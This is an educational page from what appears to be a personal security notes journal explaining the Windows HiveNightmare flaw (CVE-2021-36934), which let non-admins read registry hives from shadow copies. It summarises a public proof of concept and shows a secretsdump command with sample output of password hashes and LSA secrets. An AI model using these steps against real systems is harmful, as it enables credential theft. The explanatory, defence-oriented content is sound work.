> For the complete documentation index, see [llms.txt](https://breakpoint-journal.gitbook.io/breakpoint/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://breakpoint-journal.gitbook.io/breakpoint/windows/windows-privilege-escalation/when-userland-isnt-enough-kernel-exploits/cve-2021-36934-hivenightmare.md).

# CVE-2021-36934 \[HiveNightmare]

## What is HiveNightmare?

Basically, in June 2021, Windows 10 systems mistakenly left overly-permissive **ACLs (Access Control Lists)** on sensitive system file **VSSs (Volume Shadow Copies)**. This meant that non-admins could read the `SAM` (password hashes), `SYSTEM` (boot key), and `SECURITY` (LSA secrets) registry hives.

## Diving into the source

At a high-level, [HiveNightmare](https://github.com/GossiTheDog/HiveNightmare/blob/master/HiveNightmare/HiveNightmare.cpp) exploit PoC completes the following...

1. Searches through VSS snapshots
2. Finds the **newest readable copy** of each hive
3. Dumps each hive to disk

With the dumps of the hive files, one could then use `secretsdump` to crack the hashes.

```bash
$ secretsdump -sam SAM -system SYSTEM local

Impacket v0.10.1.dev1+20230316.112532.f0ac44bd - Copyright 2022 Fortra

[*] Target system bootKey: 0xebb2121de07ed08fc7dc58aa773b23d6
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:7796ee39fd3a9c3a1844556115ae1a54:::
evilhacker:1001:aad3b435b51404eeaad3b435b51404ee:7796ee39fd3a9c3a1844556115ae1a54:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] DPAPI_SYSTEM 
dpapi_machinekey:0x3c7b7e66890fb2181a74bb56ab12195f248e9461
dpapi_userkey:0xc3e6491e75d7cffe8efd40df94d83cba51832a56
[*] NL$KM 
 0000   45 C5 B2 32 29 8B 05 B8  E7 E7 E0 4B 2C 14 83 02   E..2)......K,...
 0010   CE 2F E7 D9 B8 E0 F0 F8  20 C8 E4 70 DD D1 7F 4F   ./...... ..p...O
 0020   42 2C E6 9E AF 57 74 01  09 88 B3 78 17 3F 88 54   B,...Wt....x.?.T
 0030   52 8F 8D 9C 06 36 C0 24  43 B9 D8 0F 35 88 B9 60   R....6.$C...5..`
NL$KM:45c5b232298b05b8e7e7e04b2c148302ce2fe7d9b8e0f0f820c8e470ddd17f4f422ce69eaf5774010988b378173f8854528f8d9c0636c02443b9d80f3588b960
```

### CFTC (Context For The Confused)

* **What is** `\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy`

  After escaping, the string actually becomes `\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy`.
* **What is `\\?\` ?**

  That's the Win32 "extended-length path" prefix.
* **What is `GLOBALROOT`?**

  A special NT namespace that gives access to **kernel device objects**. This allows user-mode programs access things that normally aren't accessible via the `C:\` drive. This also includes loaded kernel drivers.
* **What is** `HarddiskVolumeShadowCopyX`**?**

  A frozen copy of the disk at some moment in time created by the System Restore, backups, etc.